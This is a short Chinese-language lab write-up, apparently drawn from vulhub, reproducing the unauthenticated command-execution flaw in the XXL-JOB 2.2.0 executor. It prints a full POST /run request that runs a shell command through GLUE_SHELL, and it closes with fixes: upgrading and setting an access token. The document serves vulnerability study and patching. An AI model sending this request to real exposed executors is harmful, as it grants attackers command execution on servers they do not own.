簡介
參考鏈接:
XXL-JOB是一個分布式任務調度平台,其核心設計目標是開發迅速、學習簡單、輕量級、易擴展。現已開放源代碼並接入多家公司線上產品線,開箱即用。

XXL-JOB executor 未授權訪問漏洞
參考鏈接:
- https://github.com/vulhub/vulhub/tree/master/xxl-job/unacc
- https://www.cxyzjd.com/article/m0_53603468/111573493
XXL-JOB分為admin和executor兩端,前者為后台管理頁面,后者是任務執行的客戶端。executor默認沒有配置認證,未授權的攻擊者可以通過RESTful API執行任意命令。
漏洞復現
啟動環境,環境中使用的是2.2.0版本。
環境啟動后,訪問http://your-ip:8080即可查看到管理端(admin),訪問http://your-ip:9999可以查看到客戶端(executor)。
執行如下請求包:
POST /run HTTP/1.1
Host: your-ip:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "touch /tmp/success",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

touch /tmp/success已成功執行:

參考鏈接中說,低於2.2.0版本的XXL-JOB沒有RESTful API,可以通過Hessian反序列化來執行命令。
漏洞修復
- 升級軟件的版本
- 增加授權驗證,配置 xxl.job.accessToken,可參考相關鏈接:https://www.xuxueli.com/xxl-job/
